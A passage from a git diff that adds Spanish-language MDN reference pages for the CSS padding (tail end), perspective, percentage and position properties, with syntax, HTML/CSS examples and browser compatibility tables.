+                             /*  derecha  3px  padding  */
+                             /*  abajo 30px padding  */
+                             /*  izquierda   5px  padding
+                 /* en dirección de las agujas del reloj */
+</pre>
+
+<p style="padding: 5% 1em; border: outset currentColor;">border:outset; padding:5% 1em;</p>
+
+<h2 id="Live_Sample" name="Live_Sample">Ver ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;h4&gt;¡Hola Mundo!&lt;/h4&gt;
+&lt;h3&gt;El padding es diferente en esta linea.&lt;/h3&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">h4{
+  background-color: green;
+  padding: 50px 20px 20px 50px;
+}
+
+h3{
+  background-color: blue;
+  padding: 400px 50px 50px 400px;
+}
+</pre>
+
+<p>{{ LiveSampleLink('Live_Sample', 'Live Sample Link') }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Box', '#the-padding', 'padding') }}</td>
+   <td>{{ Spec2('CSS3 Box') }}</td>
+   <td>Sin cambio.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'box.html#propdef-padding', 'padding-top') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Sin cambio.</td>
+  </tr>
+  <tr>
+   <td>{{ Specname('CSS1', '#padding', 'padding') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilidad en navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Características</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>1.0 (1.0)</td>
+   <td>4.0</td>
+   <td>3.5</td>
+   <td>1.0 (85)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Características</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a class="internal" href="/en/CSS/box_model" title="en/CSS/box model">CSS Box Model</a></li>
+</ul>
diff --git a/files/es/web/css/perspective/index.html b/files/es/web/css/perspective/index.html
new file mode 100644
index 0000000000..6ab1d25783
--- /dev/null
+++ b/files/es/web/css/perspective/index.html
@@ -0,0 +1,196 @@
+---
+title: perspective
+slug: Web/CSS/perspective
+tags:
+  - CSS
+  - Capas
+  - Propiedad CSS
+  - Referencia
+  - Transformaciones CSS
+  - Web
+  - graficos
+translation_of: Web/CSS/perspective
+---
+<p>{{ CSSRef("CSS Transforms") }} {{ SeeCompatTable() }}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad <code>perspective</code> <a href="/en/CSS" title="CSS">CSS</a> determina la distancia entre el plano z=0 y el usuario para dar algo de perspectiva al elemento 3D posicionado. Cada elemento 3D con z&gt;0 se hace más grande y con z&lt;0 se vuelve más pequeño. La intensidad del efecto es determinado por el valor de esta propiedad.</p>
+
+<p>Parte de los elementos 3D que se encuentran destrás del usuario, es decir que su coordenada del eje z es mayor que el valor de la propiedad perspective de CSS no es dibujada.</p>
+
+<p>La posición de origen que se usará para la transformación es por defecto colocado en el centro del elemento, pero su posición puede ser cambiada usando la propiedad {{ cssxref("perspective-origin") }}.</p>
+
+<p>Usando esta propiedad con un valor diferente a 0 y none se crea un nuevo <a href="/en/CSS/Understanding_z-index/The_stacking_context">contexto de apilamiento</a>.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="twopartsyntaxbox"><a href="/en-US/docs/CSS/Value_definition_syntax" title="CSS/Value_definition_syntax">Sintaxis Formal</a>: {{csssyntax("perspective")}}</pre>
+
+<pre>perspective: none
+perspective: 20px     /* &lt;longitud&gt; valores */
+perspective: 3.5em
+
+perspective: inherited
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Es una palabra clave que indica que ninguna transformación de perspectiva será aplicada.</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Es una {{cssxref("&lt;length&gt;")}} dando la distancia desde el usuario al plano z=0. Esta es usada para aplicar una transformación de perspectiva al elemento  y su contenido. Si es 0 o un valor negativo, no se aplica una transformación de la perspectiva.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<div>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>perspective:250px;</code></td>
+   <td><code>perspective:350px;</code></td>
+   <td><code>perspective:500px;</code></td>
+  </tr>
+  <tr>
+   <td>
+    <div class="container" style="width: 200px; height: 200px; margin: 75px 0 0 75px; border: none;">
+    <div class="cube" style="width: 100%; height: 100%; -moz-perspective: 250px; -moz-transform-style: preserve-3d; -moz-perspective-origin: 150% 150%; -webkit-perspective: 250px; -webkit-transform-style: preserve-3d; -webkit-perspective-origin: 150% 150%; perspective: 250px; transform-style: preserve-3d; perspective-origin: 150% 150%;">
+    <div class="middle" style="display: block; position: absolute; width: 100px; height: 100px; border: 1px dashed black; line-height: 100px; font-family: arial, sans-serif; font-size: 60px; color: white; text-align: center; background: transparent;">   </div>
+
+    <div class="front" style="">1</div>
+
+    <div class="back" style="">2</div>
+
+    <div class="right" style="">3</div>
+
+    <div class="left" style="">4</div>
+
+    <div class="top" style="">5</div>
+
+    <div class="bottom" style="">6</div>
+    </div>
+    </div>
+   </td>
+   <td>
+    <div class="container" style="width: 200px; height: 200px; margin: 75px 0 0 75px; border: none;">
+    <div class="cube" style="width: 100%; height: 100%; -moz-perspective: 350px; -moz-transform-style: preserve-3d; -moz-perspective-origin: 150% 150%; -webkit-perspective: 350px; -webkit-transform-style: preserve-3d; -webkit-perspective-origin: 150% 150%; perspective: 350px; transform-style: preserve-3d; perspective-origin: 150% 150%;">
+    <div class="middle" style="display: block; position: absolute; width: 100px; height: 100px; border: 1px dashed black; line-height: 100px; font-family: arial, sans-serif; font-size: 60px; color: white; text-align: center; background: transparent;">   </div>
+
+    <div class="front" style="">1</div>
+
+    <div class="back" style="">2</div>
+
+    <div class="right" style="">3</div>
+
+    <div class="left" style="">4</div>
+
+    <div class="top" style="">5</div>
+
+    <div class="bottom" style="">6</div>
+    </div>
+    </div>
+   </td>
+   <td>
+    <div class="container" style="width: 200px; height: 200px; margin: 75px 0 0 75px; border: none;">
+    <div class="cube" style="width: 100%; height: 100%; -moz-perspective: 500px; -moz-transform-style: preserve-3d; -moz-perspective-origin: 150% 150%; -webkit-perspective: 500px; -webkit-transform-style: preserve-3d; -webkit-perspective-origin: 150% 150%; perspective: 500px; transform-style: preserve-3d; perspective-origin: 150% 150%;">
+    <div class="middle" style="display: block; position: absolute; width: 100px; height: 100px; border: 1px dashed black; line-height: 100px; font-family: arial, sans-serif; font-size: 60px; color: white; text-align: center; background: transparent;">   </div>
+
+    <div class="front" style="">1</div>
+
+    <div class="back" style="">2</div>
+
+    <div class="right" style="">3</div>
+
+    <div class="left" style="">4</div>
+
+    <div class="top" style="">5</div>
+
+    <div class="bottom" style="">6</div>
+    </div>
+    </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especifiación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ Specname('CSS3 Transforms', '#perspective', 'perspective') }}</td>
+   <td>{{ Spec2('CSS3 Transforms') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>12{{ property_prefix('-webkit') }}</td>
+   <td>{{ CompatGeckoDesktop("10") }}{{ property_prefix('-moz') }}<br>
+    {{ CompatGeckoDesktop("16") }}</td>
+   <td>10</td>
+   <td>15{{ property_prefix('-webkit') }}</td>
+   <td>{{ CompatVersionUnknown() }}{{ property_prefix('-webkit') }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>3.0{{ property_prefix('-webkit') }}</td>
+   <td>{{ CompatGeckoMobile("10") }}{{ property_prefix('-moz') }}<br>
+    {{ CompatGeckoMobile("16") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}{{ property_prefix('-webkit') }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_transforms" title="/en-US/docs/CSS/Using_CSS_transforms">Usando transformaciones CSS</a></li>
+</ul>
diff --git a/files/es/web/css/porcentaje/index.html b/files/es/web/css/porcentaje/index.html
new file mode 100644
index 0000000000..c6629803fe
--- /dev/null
+++ b/files/es/web/css/porcentaje/index.html
@@ -0,0 +1,126 @@
+---
+title: <percentage>
+slug: Web/CSS/porcentaje
+translation_of: Web/CSS/percentage
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="Sumario">Sumario</h2>
+
+<p>Los tipos de dato <code>&lt;porcentaje&gt; </code>de <a href="/en/CSS" style="font-size: 14px; line-height: inherit;" title="CSS">CSS</a> representan un valor en forma de porcentaje. Muchas <a href="/en/CSS_Reference">propiedades de CSS</a> pueden tomar valores porcentuales, siempre para definir longitudes con respecto al tamaño de los elementos padre. Los porcentajes estan formados por un <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/number">&lt;numero&gt;</a> seguido por el signo de porcentaje <code>%</code>. No hay un espacio entre el '%' y el numero.</p>
+
+<p>Varias propriedades de longitud usan porcentajes, tales como <code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/width">width</a>, <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/margin">margin</a></code> y <code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/padding">padding</a>. </code>Los porcentajes tambien se pueden ver en <code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/font-size">font-size</a>, </code>donde el tamaño del texto esta directamente relacionado al tamaño de su elemento padre.</p>
+
+<div class="note"><strong>Nota:</strong> Solo los valores calculados son heredados. Entonces, incluso si un valor porcentual es usado en en la propiedad padre, un valor real, como una anchura en pixeles para un valor <code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/length">&lt;length&gt;</a>, </code>sera accesible en la propiedad heredada, no el valor porcentual.</div>
+
+<h2 id="Interpolación">Interpolación</h2>
+
+<p>Los valores del tipo de dato <code>&lt;porcentaje&gt;</code> de CSS pueden ser interpolados en orden de permitir animaciones. En ese caso ellos son interpolados como numeros reales de punto flotante. La velocidad de la interpolación se determina por medio de la <a href="/en/CSS/timing-function">funcion de temporizacion</a> asociada con la animacion.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: html">&lt;div style="background-color:#0000FF;"&gt;
+  &lt;div style="width:50%;margin-left:20%;background-color:#00FF00;"&gt;Width: 50%, Left margin: 20%&lt;/div&gt;
+  &lt;div style="width:30%;margin-left:60%;background-color:#FF0000;"&gt;Width: 30%, Left margin: 60%&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>El codigo de arriba se va a renderizar así:</p>
+
+<div style="background-color: #0000FF;">
+<div style="width: 50%; margin-left: 20%; background-color: #00FF00;">Width: 50%, Left margin: 20%</div>
+
+<div style="width: 30%; margin-left: 60%; background-color: #FF0000;">Width: 30%, Left margin: 60%</div>
+</div>
+
+<p> </p>
+
+<pre class="brush: html">&lt;div style="font-size:18px;"&gt;
+  Full size text (18px)
+  &lt;span style="font-size:50%;"&gt;50%&lt;/span&gt;
+  &lt;span style="font-size:200%;"&gt;200%&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<p>El codigo de arriba de renderizara así:</p>
+
+<div style="font-size: 18px;">Full size text (18px) <span style="font-size: 50%;">50%</span> <span style="font-size: 200%;">200%</span></div>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificacion</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Values', '#percentages', '&lt;percentage&gt;') }}</td>
+   <td>{{ Spec2('CSS3 Values') }}</td>
+   <td>No hay cambios significantes desde CSS Level 2 (Revision 1)</td>
+  </tr>
+  <tr style="vertical-align: top;">
+   <td style="vertical-align: top;">{{ SpecName('CSS2.1', 'syndata.html#percentage-units', '&lt;percentage&gt;') }}</td>
+   <td style="vertical-align: top;">{{ Spec2('CSS2.1') }}</td>
+   <td style="vertical-align: top;">No hay cambios desde CSS Level 1</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{ SpecName('CSS1', '#percentage-units', '&lt;percentage&gt;') }}</td>
+   <td style="vertical-align: top;">{{ Spec2('CSS1') }}</td>
+   <td style="vertical-align: top;"> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilidad de navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td>1.0</td>
+   <td>1.0 (1.0)</td>
+   <td>&lt;=5.0</td>
+   <td>yes</td>
+   <td>1.0 (85)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td>si</td>
+   <td>si</td>
+   <td>si</td>
+   <td>si</td>
+   <td>si</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/position/index.html b/files/es/web/css/position/index.html
new file mode 100644
index 0000000000..c9181f456f
--- /dev/null
+++ b/files/es/web/css/position/index.html
@@ -0,0 +1,305 @@
+---
+title: position
+slug: Web/CSS/position
+tags:
+  - Referencia_CSS
+translation_of: Web/CSS/position
+---
+<div>{{CSSRef}}</div>
+
+<p>La propiedad <strong><code>position</code></strong> de <a href="/en-US/docs/CSS" title="CSS">CSS</a> especifica cómo un elemento es posicionado en el documento. Las propiedades {{Cssxref("top")}}, {{Cssxref("right")}}, {{Cssxref("bottom")}}, y {{Cssxref("left")}} determinan la ubicación final de los elementos posicionados.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/position.html")}}</div>
+
+<p class="hidden">El código fuente de este ejemplo interactivo se encuentra almacenado en un repositorio de GitHub. Si quisiera contribuir al proyecto de ejemplos interactivos, por favor clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíenos sus contribuciones como un pull request.</p>
+
+<h3 id="Tipos_de_posicionamiento">Tipos de posicionamiento</h3>
+
+<ul>
+ <li>Un <strong>elemento posicionado </strong>es un elemento cuyo valor <a href="/en-US/docs/CSS/computed_value" title="CSS/computed_value">computado</a> de <code>position</code> es <code>relative</code>, <code>absolute</code>, <code>fixed</code>, o <code>sticky</code>. (En otras palabras, cualquiera excepto <code>static</code>).</li>
+ <li>Un <strong>elemento posicionado relativamente</strong> es un elemento cuyo valor <a href="/en-US/docs/CSS/computed_value" title="CSS/computed_value">computado</a> de <code>position</code> es <code>relative</code>. Las propiedades {{Cssxref("top")}} y {{Cssxref("bottom")}} especifican el desplazamiento vertical desde su posición original; las propiedades {{Cssxref("left")}} y {{Cssxref("right")}} especifican su desplazamiento horizontal.</li>
+ <li>Un <strong>elemento posicionado absolutamente</strong> es un elemento cuyo valor <a href="/en-US/docs/CSS/computed_value" title="CSS/computed_value">computado</a> de  <code>position</code> es <code>absolute</code> o <code>fixed</code>. Las propiedades {{Cssxref("top")}}, {{Cssxref("right")}}, {{Cssxref("bottom")}}, y  {{Cssxref("left")}} especifican el desplazamiento desde los bordes del <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/All_About_The_Containing_Block"> bloque contenedor</a> del elemento. (El bloque contenedor es el ancestro relativo al cual el elemento está posicionado). Si el elemento tiene márgenes, se agregarán al desplazamiento. el elemento establece un nuevo contexto de formato de bloque para su contenido</li>
+ <li>Un <strong>elemento posicionado fijamente </strong>es un elemento cuyo valor de  <code>position </code><a href="/en-US/docs/CSS/computed_value" title="CSS/computed_value">computado</a> es <code>sticky</code>. Es tratado como un elemento posicionado relativamente hasta que su <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/All_About_The_Containing_Block">bloque contenedor</a> cruza un límite establecido (como por ejemplo dando a {{Cssxref("top")}} cualquier valor distinto de auto), dentro de su flujo principal (o el contenedor dentro del cual se mueve), desde el cual es tratado como "fijo" hasta que alcance el borde opuesto de su <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/All_About_The_Containing_Block">bloque contenedor</a>.</li>
+</ul>
+
+<p>La mayoría de las veces, los elementos absolutamente posicionados que tienen su {{Cssxref("height")}} y {{Cssxref("width")}} establecidos en <code>auto</code> son ajustados hasta acomodarse a su contenido. Sin embargo, elementos non-<a href="/en-US/docs/Web/CSS/Replaced_element">replaced</a> y absolutamente posicionados se pueden crear para llenar el espacio vertical disponible, especificando tanto {{Cssxref("top")}} como {{Cssxref("bottom")}}, y dejando {{Cssxref("height")}} sin especificar (es decir, <code>auto</code>). De igual manera se pueden utilizar para llenar el espacio horizontal disponible especificando tanto {{Cssxref("left")}} como {{Cssxref("right")}}, y dando a {{Cssxref("width")}} el valor de <code>auto</code>.</p>
+
+<p>A excepción del caso anteriormente descrito (de elementos posicionados absolutamente rellenando el espacio disponible):</p>
+
+<ul>
+ <li>Si ambos, <code>top</code> y <code>bottom</code> están especificados (técnicamente, no <code>auto</code>), <code>top</code> gana.</li>
+ <li>Si ambos, <code>left</code> y <code>right</code>, están especificados,  <code>left</code> gana cuando {{Cssref("direction")}} es <code>ltr</code> (Inglés, japonés horizontal, etc.) y <code>right</code> gana cuando {{Cssxref("direction")}} es <code>rtl</code> (Persa, árabe, hebreo, etc.).</li>
+</ul>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>La propiedad <code>position</code> es especificada como una palabra única elegida de la siguiente lista de valores.</p>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt id="static"><code>static</code></dt>
+ <dd>El elemento es posicionado de acuerdo al flujo normal del documento. Las propiedades {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}}, {{cssxref("left")}}, and {{cssxref("z-index")}} <em>no tienen efecto</em>. Este es el valor por defecto.</dd>
+ <dt id="relative"><code>relative</code></dt>
+ <dd>El elemento es posicionado de acuerdo al flujo normal del documento, y luego es desplazado <em>con relación a sí mismo</em>, con base en los valores de <code>top</code>, <code>right</code>, <code>bottom</code>, and <code>left</code>. El desplazamiento no afecta la posición de ningún otro elemento; por lo que, el espacio que se le da al elemento en el esquema de la página es el mismo como si la posición fuera <code>static</code>. Este valor crea un nuevo <a href="https://developer.mozilla.org/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/El_contexto_de_apilamiento">contexto de apilamiento</a>, donde el valor de <code>z-index</code> no es <code>auto</code>. El efecto que tiene <code>relative</code> sobre los elementos <code>table-*-group</code>, <code>table-row</code>, <code>table-column</code>, <code>table-cell</code>, y <code>table-caption</code> no está definido.</dd>
+ <dt id="absolute"><code>absolute</code></dt>
+ <dd>El elemento es removido del flujo normal del documento, sin crearse espacio alguno para el elemento en el esquema de la página. Es posicionado relativo a su ancestro posicionado más cercano, si lo hay; de lo contrario, se ubica relativo al <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/All_About_The_Containing_Block">bloque contenedor</a> inicial. Su posición final está determinada por los valores de <code>top</code>, <code>right</code>, <code>bottom</code>, y <code>left</code>.</dd>
+ <dd>Este valor crea un nuevo <a href="https://developer.mozilla.org/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/El_contexto_de_apilamiento">contexto de apilamiento</a> cuando el valor de <code>z-index</code> no es <code>auto</code>. Elementos absolutamente posicionados pueden tener margen, y no colapsan con ningún otro margen.</dd>
+ <dt id="fixed"><code>fixed</code></dt>
+ <dd>El elemento es removido del flujo normal del documento, sin crearse espacio alguno para el elemento en el esquema de la página. Es posicionado con relación al <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/All_About_The_Containing_Block">bloque contenedor</a> inicial establecido por el {{glossary("viewport")}}, excepto cuando uno de sus ancestros tiene una propiedad <code>transform</code>, <code>perspective</code>, o <code>filter</code> establecida en algo que no sea <code>none</code> (ver <a href="https://www.w3.org/TR/css-transforms-1/#propdef-transform">CSS Transforms Spec</a>), en cuyo caso ese ancestro se comporta como el bloque contenedor. (Notar que hay inconsistencias del navegador con <code>perspective</code> y <code>filter</code> contribuyendo a la formación del bloque contenedor.) Su posición final es determinada por los valores de <code>top</code>, <code>right</code>, <code>bottom</code>, y <code>left</code>.</dd>
+ <dd>Estos valores siempre crean un nuevo <a href="https://developer.mozilla.org/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/El_contexto_de_apilamiento">contexto de apilamiento</a>. En documentos impresos, el elemento se coloca en la misma posición en <em>cada página</em>.</dd>
+ <dt id="sticky"><code>sticky</code> {{experimental_inline}}</dt>
+ <dd>El elemento es posicionado de acuerdo al flujo normal del documento, y luego es desplazado <em>con relación a su ancestro que se desplace más cercano y su </em><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/All_About_The_Containing_Block">bloque contenedor</a> (ancestro en nivel de bloque más cercano) incluyendo elementos relacionados a tablas, basados en los valores de <code>top</code>, <code>right</code>, <code>bottom</code>, y <code>left</code>. El desplazamiento no afecta la posición de ningún otro elmento.</dd>
+ <dd>Estos valores siempre crean un nuevo <a href="https://developer.mozilla.org/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/El_contexto_de_apilamiento">contexto de apilamiento</a>. Nótese que un elemento sticky se "adhiere" a su ancestro más cercano que tiene un "mecanismo de desplazamiento" (creado cuando el <code>overflow</code> es <code>hidden</code>, <code>scroll</code>, <code>auto</code>, o bien <code>overlay</code>), aún si ese ancestro no es el ancestro con desplazamiento más cercano. Esto inhibe efectivamente el comportamiento "sticky" (ver el <a href="https://github.com/w3c/csswg-drafts/issues/865">Github issue en W3C CSSWG</a>).</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Relative_positioning" name="Relative_positioning">Posicionamiento relativo</h3>
+
+<p>Elementos posicionados relativamente son desplazados una cantidad dada de su posición normal en el documento, pero sin que su desplazamiento afecte a otros elementos. En el ejemplo siguiente, nótese cómo los demás elementos se ubican como si "Two" estuviera ocupando el lugar de su ubicación normal.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div class="box" id="one"&gt;One&lt;/div&gt;
+&lt;div class="box" id="two"&gt;Two&lt;/div&gt;
+&lt;div class="box" id="three"&gt;Three&lt;/div&gt;
+&lt;div class="box" id="four"&gt;Four&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">.box {
+  display: inline-block;
+  width: 100px;
+  height: 100px;
+  background: red;
+  color: white;
+}
+
+#two {
+  position: relative;
+  top: 20px;
+  left: 20px;
+  background: blue;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Relative_positioning', '600px', '200px') }}</p>
+
+<h3 id="Absolute_positioning" name="Absolute_positioning">Posicionamiento absoluto</h3>
+
+<p>Los elementos posicionados relativamente se mantienen en el flujo normal del documento. Por el contrario, un elemento posicionado absolutamente es removido del flujoñ de esta manera, los demás elementos se posicionan como si el mismo no existiera. El elemento posicionado absolutamente se posiciona relativamente a su<em>ancestro posicionado más cercano</em> (es decir, el ancestro más cercano que no es <code>static</code>). Si no hay ningún ancestro posicionado se ubica relativo al <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/All_About_The_Containing_Block">bloque contenedor</a> inicial. En el ejemplo siguiente, la caja "Two" no tiene un ancestro posicionado, por lo tanto se posiciona relativo al <code>&lt;body&gt;</code> del documento.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div class="box" id="one"&gt;One&lt;/div&gt;
+&lt;div class="box" id="two"&gt;Two&lt;/div&gt;
+&lt;div class="box" id="three"&gt;Three&lt;/div&gt;
+&lt;div class="box" id="four"&gt;Four&lt;/div&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">.box {
+  display: inline-block;
+  width: 100px;
+  height: 100px;
+  background: red;
+  color: white;
+}
+
+#two {
+  position: absolute;
+  top: 20px;
+  left: 20px;
+  background: blue;
+}</pre>
+
+<p>{{ EmbedLiveSample('Absolute_positioning', '800px', '200px') }}</p>
+
+<h3 id="Fixed_positioning" name="Fixed_positioning">Posicionamiento fijo</h3>
+
+<p>El posicionamiento fijo es similar al posicionamiento absoluto, con la excepción de que el bloque contenedor del elemento es el <em>viewport</em>. Esto puede usarse para crear un elemento flotante que se mantiene en la misma posición independientemente del desplazamiento. En el ejemplo siguiente, la caja "One" está fijada a 80 pixels del límite superior de la página y 10 pixels a la izquierda. Aún luego de desplazarse, se mantiene en el mismo lugar relativo al viewport.</p>
+
+<pre class="brush: html notranslate">&lt;div class="outer"&gt;
+  &lt;p&gt;
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam congue tortor eget pulvinar lobortis.
+    Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Nam ac dolor augue.
+    Pellentesque mi mi, laoreet et dolor sit amet, ultrices varius risus. Nam vitae iaculis elit.
+    Aliquam mollis interdum libero. Sed sodales placerat egestas. Vestibulum ut arcu aliquam purus viverra dictum vel sit amet mi.
+    Duis nisl mauris, aliquam sit amet luctus eget, dapibus in enim. Sed velit augue, pretium a sem aliquam, congue porttitor tortor.
+    Sed tempor nisl a lorem consequat, id maximus erat aliquet. Sed sagittis porta libero sed condimentum.
+    Aliquam finibus lectus nec ante congue rutrum. Curabitur quam quam, accumsan id ultrices ultrices, tempor et tellus.
+  &lt;/p&gt;
+  &lt;p&gt;
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam congue tortor eget pulvinar lobortis.
+    Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Nam ac dolor augue.
+    Pellentesque mi mi, laoreet et dolor sit amet, ultrices varius risus. Nam vitae iaculis elit.
+    Aliquam mollis interdum libero. Sed sodales placerat egestas. Vestibulum ut arcu aliquam purus viverra dictum vel sit amet mi.
+    Duis nisl mauris, aliquam sit amet luctus eget, dapibus in enim. Sed velit augue, pretium a sem aliquam, congue porttitor tortor.
+    Sed tempor nisl a lorem consequat, id maximus erat aliquet. Sed sagittis porta libero sed condimentum.
+    Aliquam finibus lectus nec ante congue rutrum. Curabitur quam quam, accumsan id ultrices ultrices, tempor et tellus.
+  &lt;/p&gt;
+  &lt;div class="box" id="one"&gt;One&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css notranslate">.box {
+  width: 100px;
+  height: 100px;
+  background: red;
+  color: white;
+}
+
+#one {
+  position: fixed;
+  top: 80px;
+  left: 10px;
+  background: blue;
+}
+
+.outer {
+  width: 500px;
+  height: 300px;
+  overflow: scroll;
+  padding-left: 150px;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Fixed_positioning', '800px', '300px') }}</p>
+
